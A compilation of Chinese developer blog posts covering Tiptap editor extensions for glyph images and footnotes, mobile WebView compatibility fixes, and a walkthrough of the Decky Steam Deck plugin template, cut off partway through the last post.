最终,还是得精确当前位置的选区,然后进行操作

import {
  findNodeAtPosition,
  findNodePosition,
  isValidPosition,
} from "@/lib/tiptap-utils";

// 若选区为空且光标在标注内,自动选中整个标注
if (isEmptySelection && isActive) {
  // chain.extendMarkRange("annotation");

  // 1. 验证光标位置有效性
  if (!isValidPosition(from)) return false;

  // 2. 找到光标所在的文本节点(确认在标注内)
  const currentNode = findNodeAtPosition(editor, from);
  if (!currentNode) return false;

  // 3. 找到该文本节点的完整位置范围(避免选中相邻标注)
  const nodePosition = findNodePosition({
    editor,
    node: currentNode,
  });
  if (!nodePosition) return false;

  // 4. 精准选中当前标注的范围
  chain.setTextSelection({
    from: nodePosition.pos,
    to: nodePosition.pos + currentNode.nodeSize, // nodeSize 是节点的长度
  });
}

tiptap-5-6.png

Tiptap之造字组件

作者 时光足迹
2026年5月8日 10:51

Tiptap 自定义扩展

Tiptap 的强大之处在于其扩展机制,开发者可以通过以下方式自定义功能:

  1. 继承现有扩展:通过 extend 方法扩展现有节点或标记
  2. 创建新扩展:定义全新的节点或标记类型
  3. 添加属性:为现有扩展添加自定义属性
  4. 重写方法:覆盖默认的行为实现

造字组件

使用继承现有扩展方式创建造字组件,主要用于在文本流中插入和展示那些无法通过常规输入法输入的特殊字符、图标或自定义图形。它实际上是一个特殊的图片节点,用于在文本中插入一个代表特定字符的图片,并且有替换文本(alt)属性

造字组件扩展

造字组件扩展可以直接继承官方 Image 组件,然后添加自定义属性。

需要多一个 glyph 字段就行,能展示替换文本,其实可以直接使用 alt 属性也行。

目前是有两种方案:

  1. 自定义扩展:直接把 extension-image 拷贝过来,在其基础上更改
  2. 继承官方扩展:继承官方 Image 节点,然后添加自定义属性

我选择了第二种,并且直接复用 alt 属性,减少改动,保证稳定性和兼容性。

import { Image as TiptapImage } from "@tiptap/extension-image";
import "./index.scss";

export const GlyphImage = TiptapImage.extend({
  name: "glyphImage",

  addOptions() {
    return {
      ...super.addOptions?.(),
      inline: true, // 强制设置为行内,确保可以在文字中间显示
      HTMLAttributes: { class: "glyph-image" },
    };
  },

  addCommands() {
    return {
      ...super.addCommands?.(),
      // 新增方法
      setGlyphImage:
        (options) =>
        ({ commands }) => {
          return commands.insertContent({ type: this.name, attrs: options });
        },
    };
  },
});
.glyph-image {
  display: inline !important; /* 强制行内显示 */
  /* width: 1em; */
  border: 1px solid #bae6fd; /* 可视化边界 */
}

造字组件使用

import { GlyphImage } from "@/components/tiptap-ui/glyph-image/extension-glyph-image";
// 在编辑器配置中注册组件
const editor = useEditor({ extensions: [GlyphImage] });

// 使用命令插入造字组件
editor.commands.setGlyphImage({
  src: "https://placehold.co/40x40/6A00F5/white",
  alt: "造字替换文本", // 替换文本
  title: "造字标题", // 标题
});

json 数据展示:

{
  "type": "glyphImage",
  "attrs": {
    "src": "/pdf/1-1-2.png",
    "alt": "造字替换文本",
    "title": "造字标题"
  }
},

tiptap-4-1.png

造字组件弹框

同“脚注组件”一样,参照“链接组件”改造:

  • 图片地址 src:可以直接输入地址,也可以上传图片
  • 替换文本 alt:复用 alt 属性作为替换文本,利用 title 属性提供鼠标悬停提示
// glyph-image-popover.tsx文件
const GlyphImageMain: React.FC<GlyphImageMainProps> = ({
  src,
  setSrc,
  alt,
  setAlt,
  setGlyph,
  glyphUpload,
  isActive,
  uploading,
  uploadProgress,
}) => {
  const fileInputRef = React.useRef < HTMLInputElement > null;

  const handleFileChange = async (
    event: React.ChangeEvent<HTMLInputElement>
  ) => {
    const file = event.target.files?.[0];
    if (file) {
      try {
        await glyphUpload(file);
      } finally {
        // 清空input,允许重复选择同一文件
        if (fileInputRef.current) {
          fileInputRef.current.value = "";
        }
      }
    }
  };
  const handleUploadClick = () => {
    if (!uploading) {
      fileInputRef.current?.click();
    }
  };

  return (
    <Card>
      <CardBody>
        <CardItemGroup>
          <Input
            type="url"
            placeholder="输入图片地址(src)"
            value={src}
            onChange={(e) => setSrc(e.target.value)}
          />
          <Input
            type="text"
            placeholder="输入替换文本(alt)"
            value={alt}
            onChange={(e) => setAlt(e.target.value)}
          />

          <ButtonGroup orientation="horizontal" className="justify-end mt-2">
            <Button
              type="button"
              onClick={handleUploadClick}
              title="上传图片"
              data-style="outline"
              disabled={uploading}
            >
              {uploading ? `上传中${Math.round(uploadProgress)}%` : "上传图片"}
            </Button>
            {/* 隐藏的文件输入 */}
            <input
              ref={fileInputRef}
              type="file"
              accept="image/*"
              onChange={handleFileChange}
              style={{ display: "none" }}
            />

            <Button
              type="button"
              onClick={setGlyph}
              title="保存造字"
              disabled={!src && !isActive}
              data-style="outline"
              className="ml-2"
            >
              保存
            </Button>
          </ButtonGroup>
        </CardItemGroup>
      </CardBody>
    </Card>
  );
};

tiptap-4-2.png

图片上传时,不使用 base64 保存图片,而是通过 OSS 保存到阿里云服务器,富文本组件中置保存地址即可

  • use-glyph-image-popover.ts文件

tiptap-4-4.png

tiptap-4-5.png

  • /lib/tiptap-utils.ts 文件

tiptap-4-6.png

最终效果,如下图所示:

tiptap-4-3.png

造字组件高亮问题

选中图片的时候,造字组件是高亮的,需要修复。

tiptap-4-8.png

主要是修改canSetGlyph方法:脚注组件也是类似的,修改canSetFootnote即可

// 检查是否可以设置造字
export function canSetGlyph(editor: Editor | null): boolean {
  // 基础校验:编辑器是否存在或者编辑器是否可编辑
  if (!editor || !editor.isEditable) return false;

  // 节点合法性检测
  // - 检查"glyphImage"节点是否在编辑器的schema中注册(确保功能支持)
  // - 检查当前选中的节点是否为"image"类型(避免与普通图片冲突)
  if (
    !isNodeInSchema("glyphImage", editor) || 
    isNodeTypeSelected(editor, ["image"])
  )
    return false;

  // 最终校验:调用编辑器的can方法检查是否可以执行setGlyphImage命令
  return editor.can().setGlyphImage?.() || false;
}

Tiptap 之自定义脚注组件

作者 时光足迹
2026年5月8日 10:51

Tiptap 的强大之处在于其扩展机制,开发者可以通过以下方式自定义功能:

  1. 继承现有扩展:通过 extend 方法扩展现有节点或标记
  2. 创建新扩展:定义全新的节点或标记类型
  3. 添加属性:为现有扩展添加自定义属性
  4. 重写方法:覆盖默认的行为实现

脚注组件Footnote

脚注组件 Footnote 是通过第二种方式,即创建新扩展实现的。总体参照 LinkPopover 组件改造,完成上标及悬浮提示的功能。

创建脚注组件扩展

// extension-footnote.ts
import { Node, mergeAttributes } from "@tiptap/core";

export interface FootnoteOptions {
  HTMLAttributes: Record<string, any>;
}

declare module "@tiptap/core" {
  interface Commands<ReturnType> {
    footnote: {
      /** 设置脚注(插入或更新) */
      setFootnote: (attrs: { text: string; content: string }) => ReturnType;
      /** 移除脚注 */
      unsetFootnote: () => ReturnType;
      /** 更新脚注 */
      updateFootnote: (attrs: { text: string; content: string }) => ReturnType;
    };
  }
}

export const Footnote = Node.create<FootnoteOptions>({
  name: "footnote", // 节点唯一标识
  group: "inline", // 属于行内元素组,可嵌入文本中
  inline: true, // 行内节点
  atom: true, // 原子节点,不可拆分
  selectable: true, // 可被选中

  addAttributes() {
    return {
      // 脚注符号(上标显示的内容,如①②③④⑤等)
      text: {
        default: "", // 默认符号
        parseHTML: (element) => element.getAttribute("data-text"),
        renderHTML: (attrs) => ({ "data-text": attrs.text }),
      },
      // 脚注内容(悬浮提示/编辑内容)
      content: {
        default: "",
        parseHTML: (element) => element.getAttribute("data-content"),
        renderHTML: (attrs) => ({ "data-content": attrs.content }),
      },
    };
  },

  // 解析规则:识别带data-footnote属性的sup标签
  parseHTML() {
    return [
      {
        tag: "sup[data-footnote]",
        getAttrs: (dom) => {
          if (typeof dom !== "object") return false;
          const element = dom as HTMLElement;
          return {
            text: element.getAttribute("data-text"),
            content: element.getAttribute("data-content"),
          };
        },
      },
    ];
  },

  // 渲染逻辑:上标标签+自定义符号+内容属性
  renderHTML({ node, HTMLAttributes }) {
    const { text, content } = node.attrs;

    return [
      "sup", // 使用上标标签,符合脚注排版习惯
      mergeAttributes(
        this.options.HTMLAttributes,
        {
          "data-footnote": "", // 标识为脚注节点
          "data-text": text,
          "data-content": content,
          class: "footnote-marker",
          // title: content,
        },
        HTMLAttributes,
      ),
      text, // 显示脚注符号
    ];
  },

  // 插入命令:接收符号和内容参数
  addCommands() {
    return {
      setFootnote:
        (attrs: { text: string; content: string }) =>
        ({ commands }) => {
          return commands.insertContent({
            type: this.name,
            attrs,
          });
        },
      unsetFootnote:
        () =>
        ({ commands }) => {
          return commands.deleteSelection();
        },
    };
  },

  addKeyboardShortcuts() {
    return {
      "Mod-Shift-F": () => {
        return this.editor.commands.setFootnote({
          text: "①",
          content: "请输入脚注内容",
        });
      },
    };
  },
});
  1. 编辑器配置
const editor = useEditor({ extensions: [Footnote] });
  1. 命令创建
// 插入脚注
editor.commands.setFootnote({
  text: "①",
  content: "这是脚注内容",
});

// 移除脚注(需要先选中脚注节点)
editor.commands.unsetFootnote();
  1. JSON 数据初始化
// 上标
{
  "type": "text",
  "marks": [{ "type": "superscript" }],
  "text": "②"
},
// 脚注
{
  "type": "footnote",
  "attrs":
    "text": "②",
    "content": "这是脚注内容"
},
  1. 渲染效果

如下所示:脚注内容是通过 title 属性显示的,使用的浏览器默认样式,需要优化

tiptap-3-1.png

解析源码:

tiptap-3-2.png

脚注弹框组件

整体依照 LinkPopover 组件改造

使用到了文本框组件 TextareaAutosize,需要先安装一下,样式我也调整了一下,参考Input组件对齐:

npx @tiptap/cli@latest add textarea-autosize

tiptap-3-8.png

选中文本初始化标记

默认情况下,脚注标记和脚注内容都是空的;如果选中文本后,再点击脚注组件,则会将选中的文本作为脚注标记,自动填充进去。

tiptap-3-3.png

const setFootnote = React.useCallback(() => {
  if (!text || !editor) return;

  const { selection, doc } = editor.state;
  // 获取选中文本
  const selectedText = doc.textBetween(selection.from, selection.to, "\n");
  // 文本赋值
  const finalText = selectedText || text;

  let chain = editor.chain().focus();

  // 如果已经选中了脚注,就更新它
  if (isFootnoteActive(editor)) {
    chain = chain.updateFootnote({ text: finalText, content });
  } else {
    // 否则插入新的脚注
    chain = chain.setFootnote({ text: finalText, content });
  }

  chain.run();
  onSetFootnote?.();
}, [editor, onSetFootnote, text, content]);
React.useEffect(() => {
  if (!editor) return;

  const updateFootnoteState = () => {
    const { selection, doc } = editor.state;
    // 提取选中的文本
    const selectedText = doc.textBetween(selection.from, selection.to, "\n");

    const { text: curText, content: curContent } =
      editor.getAttributes("footnote");

    // 如果有选中的文本且当前不是编辑已有脚注,自动填充到 text
    if (selectedText && !isFootnoteActive(editor)) {
      setText(selectedText);
    } else {
      setText(curText || "");
    }
    setContent(curContent || "");
  };

  editor.on("selectionUpdate", updateFootnoteState);
  return () => {
    editor.off("selectionUpdate", updateFootnoteState);
  };
}, [editor]);

行首插入问题

父节点是 h1,在行首插入脚注时,会将父节点变成 p 标签,导致类型都变了。

  • 问题原因

当光标位于行首且没有选中任何内容时,insertContent 会尝试在当前块级节点(如 H1)的最开始插入脚注节点。如果 H1 的 schema 约束不够宽松,编辑器可能会为了兼容插入的节点而修改父节点类型。

这种方式在行首空选择时可能会破坏父节点(如 H1)的结构约束,导致编辑器自动将 H1 降级为 P 标签。

  • 问题解决:先插入一个空文本节点

零宽空格 Unicode: \u200B

chain = chain
  .insertContent("") // 解决插入行首时,将h1改成p了
  .setFootnote({ text: finalText, content });

上面代码可以解决,但是每次都插入一个零宽空格,也不好,需要继续优化setFootnote命令。

目前没找到更好的方法,只能这样了。。。。。。

tiptap-3-4.png

提示优化

默认使用的title属性显示脚注内容,但是这样无法实现点击时弹出提示框,需要自定义处理addNodeView

// 修改extension-footnote.tsx代码
const FootnoteView = ({ node }: any) => {
  const { text, content } = node.attrs;
  return (
    <Tooltip>
      <TooltipTrigger asChild>
        <sup data-footnote="">{text}</sup>
      </TooltipTrigger>
      <TooltipContent>
        <p>{content}</p>
      </TooltipContent>
    </Tooltip>
  );
};

// 绑定自定义 NodeView:不行,sup都变成span了
addNodeView() {
  return ReactNodeViewRenderer(FootnoteView);
},

上述方法不行,元素都被改变了,sup 变成 span 了

tiptap-3-5.png

还是回归最原始的方法了,更改 鼠标悬浮时title提示的样式

tiptap-3-6.png

tiptap-3-7.png

WebView 兼容性踩坑实录:那些让我加班的坑

2026年5月8日 10:45

WebView 兼容性踩坑实录:那些让我加班的坑

做了多年移动端H5开发,踩过的坑能绕地球一圈,今天盘点几个让我印象深刻的

前言

如果你是做移动端H5的,一定遇到过这种场景:

QA:这个页面在iOS上正常,Android上挂了
开发:什么Android机型?
QA:华为
开发:具体型号?
QA:不知道,就是华为
开发:...

或者:

用户:页面显示有问题
开发:什么手机?
用户:我就一破手机
开发:...

WebView的兼容性问题,每个都是坑。今天分享几个让我印象深刻(加班到深夜)的案例。


坑一:100vh 包含地址栏问题

问题现象

页面设置了 height: 100vh,在 iOS Safari 上正常,但在 Android Chrome 上:

  • 页面加载时,地址栏可见,100vh 包含地址栏高度
  • 用户向上滑动,地址栏隐藏,100vh 不变
  • 结果:页面底部多出一块空白

问题原因

iOS Safari 的 100vh 是视口高度,不包含地址栏。

Android Chrome 的 100vh 包含地址栏高度,但地址栏隐藏后不会重新计算。

解决方案

方案一:使用 dvh(推荐)

.container {
  height: 100vh; /* 兜底 */
  height: 100dvh; /* 动态视口高度,会随地址栏变化 */
}

但要注意:dvh 在 iOS 15.4+ 和 Android 108+ 才支持。

方案二:JS 计算

function setVH() {
  const vh = window.innerHeight * 0.01;
  document.documentElement.style.setProperty('--vh', `${vh}px`);
}

setVH();
window.addEventListener('resize', setVH);
.container {
  height: calc(var(--vh, 1vh) * 100);
}

如何用 WebView Inspector 排查

打开「兼容」Tab,检查 dvh 是否支持:

const compat = WebViewInspector.getCompat();
if (compat.css.dvh) {
  console.log('支持 dvh,可以直接使用');
} else {
  console.log('不支持 dvh,使用 JS 方案');
}

坑二:fixed 定位 + 软键盘

问题现象

页面底部有一个固定输入框:

.input-bar {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
}

在 iOS 上:

  • 输入框聚焦,软键盘弹出
  • 输入框被键盘顶上去
  • 收起键盘后,输入框还在那个位置,不回到底部

在 Android 上:

  • 输入框聚焦,软键盘弹出
  • 输入框被键盘遮挡
  • 或者整个页面上移,布局乱掉

问题原因

iOS 和 Android 对软键盘的处理机制不同:

  • iOS:键盘弹出时,视口会调整,fixed 元素跟着动
  • Android:键盘弹出时,视口高度不变,fixed 元素位置不变

解决方案

方案一:监听 resize,动态调整

let originalHeight = window.innerHeight;

window.addEventListener('resize', () => {
  const currentHeight = window.innerHeight;
  
  if (currentHeight < originalHeight) {
    // 键盘弹出
    document.querySelector('.input-bar').style.position = 'absolute';
  } else {
    // 键盘收起
    document.querySelector('.input-bar').style.position = 'fixed';
  }
});

方案二:使用 visualViewport API

if (window.visualViewport) {
  window.visualViewport.addEventListener('resize', () => {
    const viewportHeight = window.visualViewport.height;
    document.querySelector('.input-bar').style.bottom = 
      `${window.innerHeight - viewportHeight}px`;
  });
}

如何用 WebView Inspector 排查

检查是否支持 visualViewport:

const compat = WebViewInspector.getCompat();
if (compat.js.visualViewport) {
  console.log('支持 visualViewport API');
}

坑三:iOS 安全区适配

问题现象

页面底部有按钮,在 iPhone X 及以上机型:

  • 按钮被 Home Indicator 遮挡
  • 或者按钮和屏幕边缘贴得太紧

问题原因

iPhone X 开始,屏幕底部有 Home Indicator 区域(约 34px),需要预留安全区。

解决方案

方案一:使用 env(safe-area-inset-bottom)

.button-bar {
  padding-bottom: env(safe-area-inset-bottom);
}

方案二:viewport 设置

<meta name="viewport" content="viewport-fit=cover">
.button-bar {
  padding-bottom: constant(safe-area-inset-bottom); /* iOS 11.0-11.2 */
  padding-bottom: env(safe-area-inset-bottom); /* iOS 11.2+ */
}

如何用 WebView Inspector 排查

打开「环境」Tab,可以看到安全区尺寸:

const env = WebViewInspector.getEnv();
console.log('安全区底部:', env.safeAreaInsets.bottom);

坑四:微信 X5 内核的特殊行为

问题现象

在微信内置浏览器中:

  • 某些 CSS 特性不支持
  • 某些 JS API 行为异常
  • 页面渲染和 Chrome 不一致

问题原因

微信使用的是 X5 内核,基于旧版 Chromium,可能存在兼容性问题。

常见问题

  1. 不支持 ES Module

    // X5 内核可能不支持
    import xxx from './xxx.js';
    
  2. 不支持某些 CSS 特性

    /* X5 可能不支持 */
    .element {
      backdrop-filter: blur(10px);
      color: oklch(0.7 0.15 180);
    }
    
  3. localStorage 配额异常

    // X5 可能限制更严格
    localStorage.setItem('key', largeData);
    

解决方案

使用 WebView Inspector 检测 X5 内核支持的特性:

const env = WebViewInspector.getEnv();
const compat = WebViewInspector.getCompat();

if (env.webview.includes('X5')) {
  console.log('检测到 X5 内核');
  
  if (!compat.css.backdropFilter) {
    // 不支持 backdrop-filter,使用替代方案
    element.style.background = 'rgba(0,0,0,0.8)';
  }
}

坑五:Promise 未捕获错误静默失败

问题现象

// 这段代码在 PC 上会报错,但在某些 WebView 上静默失败
Promise.reject('错误');

用户反馈页面"卡住了",但控制台没有任何错误信息。

问题原因

某些 WebView 对未捕获的 Promise rejection 处理不一致:

  • 有的会触发 unhandledrejection 事件
  • 有的静默失败,不报错

解决方案

全局捕获 Promise 错误

window.addEventListener('unhandledrejection', (event) => {
  console.error('未捕获的 Promise 错误:', event.reason);
  
  // 上报错误
  reportError({
    type: 'PROMISE',
    message: event.reason,
    stack: event.reason?.stack,
    env: WebViewInspector.getEnv()
  });
});

WebView Inspector 已内置

WebView Inspector 会自动捕获 Promise 错误,打开「错误」Tab 即可看到。


坑六:IntersectionObserver 不触发

问题现象

const observer = new IntersectionObserver((entries) => {
  console.log('触发');
});
observer.observe(target);

在 PC 上正常触发,但在某些 WebView 上永远不触发。

问题原因

某些 WebView(特别是 iOS 12.2 以下)不支持 IntersectionObserver,或者行为异常。

解决方案

兼容性检测 + 降级方案

const compat = WebViewInspector.getCompat();

if (compat.js.IntersectionObserver) {
  // 使用 IntersectionObserver
  const observer = new IntersectionObserver(callback);
  observer.observe(target);
} else {
  // 降级:使用 scroll 事件
  window.addEventListener('scroll', () => {
    const rect = target.getBoundingClientRect();
    if (rect.top < window.innerHeight && rect.bottom > 0) {
      callback();
    }
  });
}

排查方法论

踩了这么多坑,我总结了一套排查方法:

1. 获取环境信息

用户反馈问题时,先获取环境信息:

const env = WebViewInspector.getEnv();
console.log('设备:', env.device);
console.log('系统:', env.os);
console.log('WebView:', env.webview);

2. 检测特性支持

const compat = WebViewInspector.getCompat();
if (!compat.css.grid) {
  console.log('不支持 Grid');
}
if (!compat.js.IntersectionObserver) {
  console.log('不支持 IntersectionObserver');
}

3. 捕获错误

const errors = WebViewInspector.getErrors();
if (errors.length > 0) {
  // 有错误,分析错误信息
}

4. 一键复制报告

把环境信息 + 兼容性报告 + 错误信息一起复制,发给后端或记录到工单。


工具推荐

以上排查方法,都可以用 WebView Inspector 一键搞定:

  • 环境检测:设备、系统、WebView 类型/版本
  • 兼容性检测:30+ CSS 特性 + 56+ JS API
  • 错误捕获:JS 错误 + Promise 错误 + 资源错误

安装方式

npm install webview-inspector
import WebViewInspector from 'webview-inspector';
WebViewInspector.init();

相关链接


结语

WebView 兼容性是个无底洞,每个坑都能让你加班到深夜。

但有了正确的工具和方法,排查效率至少提升 10 倍。

你踩过哪些坑?评论区分享一下吧!


#WebView兼容性 #移动端H5 #前端踩坑 #WebView调试

用官方模板理解 Decky 插件:一次从模板到架构的速览

作者 jump_jump
2026年5月8日 10:43

面向第一次接触 Steam Deck 插件开发的读者。本文以官方仓库 decky-plugin-template 为索引,逐个文件讲清它们为什么存在、如何协作,并给出模板之外、上线前必遇的几个坑。

TL;DR

  • 一个 Decky 插件 = Steam CEF 里的 React 组件 + SteamOS 上的 Python 进程,两者通过 Decky Loader 提供的 callable / emit 通信;
  • 前端入口固定是 src/index.tsxdefinePlugin(factory),后端入口固定是 main.py 里的 class Plugin,方法必须 async、参数必须 JSON-safe;
  • 路径、日志、配置全部走 decky.DECKY_PLUGIN_* 常量,不要硬编码 ~/homebrew/...
  • 开发流程靠 .vscode/ 下一套 shell 脚本闭环(build → rsync → 重启 plugin_loader),不用 VS Code 也能复刻;
  • 需要 root 就加 _root flag,但能用精确 sudo 解决的就别加——商店审核不喜欢。

Decky 插件到底是什么

Steam Deck 的游戏模式并不是一个独立 UI,而是 Steam 客户端内部的一组 CEF(Chromium Embedded Framework)页面。Valve 没有公开扩展 API,于是社区做了一个注入框架 —— Decky Loader。它做三件事:

  1. 注入 UI:在游戏模式的侧边栏挂一个入口,加载第三方插件的 React 组件;
  2. 管理后端:为每个插件拉起一个独立的 Python 进程,提供生命周期钩子与 RPC 通道;
  3. 约定目录:给每个插件划拨固定的配置、运行时、日志目录,写在 decky.DECKY_PLUGIN_* 这一组环境变量里。

所以一个 Decky 插件的最小认知是:

一个跑在 Steam 客户端 CEF 里的 React 组件 + 一个跑在 SteamOS 上的 Python 小后端,两者通过 Decky Loader 的 RPC/事件总线通信。

下文以官方模板作为参照,逐个文件拆开看。

模板长什么样

克隆官方模板后,目录结构大致如下(无关文件省略):

decky-plugin-template/
├── plugin.json              # 插件元数据
├── main.py                  # Python 后端入口,类名必须是 Plugin
├── package.json             # 前端依赖(pnpm 管理)
├── rollup.config.js         # 使用 @decky/rollup 官方 preset
├── tsconfig.json
├── decky.pyi                # decky 运行时模块的类型存根,供 IDE 用
├── src/
│   ├── index.tsx            # 前端入口,默认导出 definePlugin(...)
│   └── types.d.ts           # 让 TS 识别 *.png / *.svg / *.jpg 资源
├── assets/
│   └── logo.png             # 插件图标/资源
├── defaults/
│   └── defaults.txt         # 会被打进插件根目录的静态文件
├── py_modules/              # 第三方 Python 依赖放这里(vendored)
├── backend/                 # 原生后端(可选),用 Docker + Make 构建
│   ├── Dockerfile
│   ├── Makefile
│   ├── entrypoint.sh
│   └── src/main.c
└── .vscode/                 # 一键 setup/build/deploy 任务
    ├── tasks.json
    ├── setup.sh
    ├── build.sh
    ├── config.sh
    └── defsettings.json

这个结构看似很多,但按职责其实只有四组:插件声明plugin.jsonpackage.json)、前端运行时src/rollup.config.jstsconfig.json)、后端运行时main.pypy_modules/backend/defaults/)、开发工作流.vscode/ 下的脚本与任务)。下面每一节就按这四组展开。

运行时的调用链可以用一张图收拢:

        Steam Client (CEF)                    SteamOS (userland)
+-----------------------------------+   +-----------------------------------+
|  Steam UI                         |   |  Decky Loader (systemd service)   |
|  (hosts shared React, external'd) |   |     |                             |
|     |                             |   |     +--> python main.py           |
|     +--> dist/index.js            |   |          (class Plugin, 1 proc)   |
|          (ESM, injected by Loader)|   |               ^                   |
|               ^                   |   |               | async def xxx     |
|               | definePlugin()    |   |               |                   |
|               |                   |   |               |                   |
|          callable("xxx", args) ---+---+---> RPC ----->|                   |
|                                   |   |                                   |
|          addEventListener <-------+---+---- decky.emit("evt", ...)        |
+-----------------------------------+   +-----------------------------------+

前端 ESM bundle 和后端 Python 进程物理上互不知晓,唯一的桥是 Decky Loader 提供的一对原语:callable / emit。后面每一节本质上都在讲这张图里某一块的细节。

插件声明:plugin.jsonpackage.json

plugin.json 是 Decky Loader 在加载插件时第一个读到的文件。官方模板里长这样:

{
  "name": "Example Plugin",
  "author": "John Doe",
  "flags": ["debug", "_root"],
  "api_version": 1,
  "publish": {
    "tags": ["template", "root"],
    "description": "Decky example plugin.",
    "image": "https://opengraph.githubassets.com/1/SteamDeckHomebrew/PluginLoader"
  }
}

几处容易被忽略的细节:

  • name 是展示名,不是插件目录名
    • 它是环境变量 DECKY_PLUGIN_NAME,也是菜单/商店里显示给用户的名字;
    • 真正的插件目录由安装时的 zip 顶层目录/安装路径决定,Decky Loader 源码里 plugin.json.name 和实际的 plugin_directory 是两个独立概念——配置、日志、运行时目录用的是"目录名",不是这里的展示名;
    • 模板 .vscode/defsettings.json 里的 pluginname 只是部署脚本的变量,它决定 rsync 到 Deck 上的目标目录叫什么,并不是一种"绑定关系",只是多数人习惯让两者保持一致;
    • 不要据此手拼 ~/homebrew/settings/<name>/ 这类配置目录,真实的设置、运行时、日志路径请统一读 decky.DECKY_PLUGIN_*_DIR 常量。改过插件目录名、包名或历史配置路径时,用 _migration 钩子迁移旧数据(下文讲)。
  • flags 是权限/行为声明,目前 Decky Loader 实际消费的是下面这两个:
    • _root / root:含义是让后端以 root 身份运行,能访问 /usr/ 下的系统文件。历史上模板里的 key 与 Loader 源码中判断的 key 存在过命名不一致(_root vs root),近期有所统一——提交前请以当前 SteamDeckHomebrew/decky-loader 源码及 decky-plugin-database CI 的校验结果为准,不要把任何一侧当作权威;
    • debug:在开发期打开额外日志。
    • 模板默认开着 _root 只是为了演示能力,真实插件通常不要主动开 _root——能用 subprocess + 精确 sudo 命令解决的事,就不要让整个后端进程都带特权。社区经验上,带 _root 的插件在商店审核时也更容易被打回。其他 flags 值 Loader 当前会忽略,不要依赖未文档化的行为。
  • api_version 目前固定是 1,未来协议升级时会变。
  • publish 段仅用于 decky-plugin-database 上架,开发期不写也能跑。

package.json 则声明前端依赖。完整版里还会包含仓库元数据、test 占位脚本等——下面列出与构建/运行直接相关的字段:

{
  "type": "module",
  "scripts": {
    "build": "rollup -c",
    "watch": "rollup -c -w"
  },
  "devDependencies": {
    "@decky/rollup": "^1.0.2",
    "@decky/ui": "^4.11.0",
    "@rollup/rollup-linux-x64-musl": "^4.53.3",
    "@types/react": "19.1.1",
    "@types/react-dom": "19.1.1",
    "@types/webpack": "^5.28.5",
    "rollup": "^4.53.3",
    "typescript": "^5.6.2"
  },
  "dependencies": {
    "@decky/api": "^1.1.3",
    "react-icons": "^5.3.0",
    "tslib": "^2.7.0"
  },
  "pnpm": {
    "peerDependencyRules": {
      "ignoreMissing": ["react", "react-dom"]
    }
  }
}

@rollup/rollup-linux-x64-musl 是模板显式声明的依赖,用来兜底 Rollup 在某些构建环境里加载不到对应 native binding 的情况——少了它 Rollup 可能直接报 "Cannot find module" 而终止。注意:SteamOS 3 / Holo 本身是 Arch 系 glibc 发行版,并不是 musl 发行版,这里加这个依赖是为了让 Rollup 的原生 binding 解析更稳,不要把它理解成"holo 镜像基于 musl"。

这里有两条"反直觉"的点一定要记住:

  • 不要自己安装 react / react-dom 作为运行时依赖:Decky Loader 在 Steam CEF 里已经提供了一份共享的 React 实例,你再打进一份,hook 很容易因为运行时实例不一致而报错。@decky/ui 声明了 react / react-dom 作为 peerDependency,模板里的 pnpm.peerDependencyRules.ignoreMissing 就是在告诉 pnpm:"别警告,这俩由宿主环境在运行时提供"。顺带两条补充:
    • @types/react 的大版本要跟 Steam 客户端 CEF 里的 React 对齐(当前是 19.x),否则 hook 签名 / JSX 类型会在编译期就报错;
    • 包管理器建议锁定 pnpm@decky/rollupignoreMissing 规则都默认按 pnpm 的 hoist 行为设计,npm i / yarn 可能会把 react 拉成直接依赖一起打进 bundle,绕过 external。
  • @decky/ui 必须跟 Decky Loader 的版本同步:官方在 tasks 里专门准备了 updatefrontendlib 任务(即 pnpm update @decky/ui --latest),构建前一刻强制升级一次,避免把过期的类型定义带进商店审核。

前端运行时:src/、Rollup 与 definePlugin

构建:为什么是 Rollup 而不是 Vite

rollup.config.js 只有三行:

import deckyPlugin from "@decky/rollup";

export default deckyPlugin({
  // Add your extra Rollup options here
});

@decky/rollup 预置了插件需要的一切 —— TypeScript、JSX、资源处理(由 preset 内部的资源插件把 import 重写成 Decky 提供的本地资源 URL)、external React、以 format: "esm" 输出到 dist/index.js。Decky Loader 加载插件时,会把这个单文件读成字符串注入到 Steam CEF,所以:

  • 不要分包、不要动态 import():最终必须是一个文件;
  • 不要引入 Tailwind / CSS-in-JS 运行时:包体积会快速膨胀,而且可能和 Steam 原生样式冲突,更推荐直接在组件里内嵌 <style>{...}</style>
  • 资源由 preset 内置的资源处理插件接管:模板里给了一份 src/types.d.ts,声明 *.png*.svg*.jpg 为 string 模块。import logo from "../assets/logo.png" 拿到的不是 base64 data URL,而是由 preset 注入、指向 Decky 本地资源服务的相对 URL——运行时由 Loader 从插件目录里真实读取文件。这样既不会把图片塞进 bundle 撑大体积,也保留了缓存能力(具体插件名在 @decky/rollup 各版本间有变动,以实际 pnpm list 为准)。

tsconfig.json 开了 strictnoUnusedLocalsnoUnusedParameters 等一揽子严格选项,jsx: "react-jsx" 保证 JSX 编译到共享 React 运行时。新建插件时建议原样保留 —— Decky Loader 本身不强制,但严格模式能帮你避开大量运行时惊喜。

入口:definePlugin 的返回值就是插件

下面是基于模板 src/index.tsx精简改写版——删掉了原文件里注释掉的 router / logo 示例,把随机数范围从 Math.random() 换成 Math.floor(Math.random() * 100) 便于演示,骨架和 API 用法与模板一致:

// src/index.tsx
import {
  ButtonItem,
  PanelSection,
  PanelSectionRow,
  staticClasses,
} from "@decky/ui";
import {
  addEventListener,
  removeEventListener,
  callable,
  definePlugin,
  toaster,
} from "@decky/api";
import { useState } from "react";
import { FaShip } from "react-icons/fa";

// 前端 RPC 代理:对应 Python 端的 Plugin.add(left, right) -> int
const add = callable<[first: number, second: number], number>("add");
// 触发一个耗时 15s 的后端任务,完成后通过事件回传
const startTimer = callable<[], void>("start_timer");

/** 侧边栏面板的主体内容 */
function Content() {
  const [result, setResult] = useState<number | undefined>();

  /** 点击按钮时调用后端 add 并展示结果 */
  const onClick = async () => {
    const sum = await add(
      Math.floor(Math.random() * 100),
      Math.floor(Math.random() * 100),
    );
    setResult(sum);
  };

  return (
    <PanelSection title="Panel Section">
      <PanelSectionRow>
        <ButtonItem layout="below" onClick={onClick}>
          {result ?? "Add two numbers via Python"}
        </ButtonItem>
      </PanelSectionRow>
      <PanelSectionRow>
        <ButtonItem layout="below" onClick={() => startTimer()}>
          Start Python timer
        </ButtonItem>
      </PanelSectionRow>
    </PanelSection>
  );
}

export default definePlugin(() => {
  // 订阅后端通过 decky.emit 发出的事件
  const listener = addEventListener<[string, boolean, number]>(
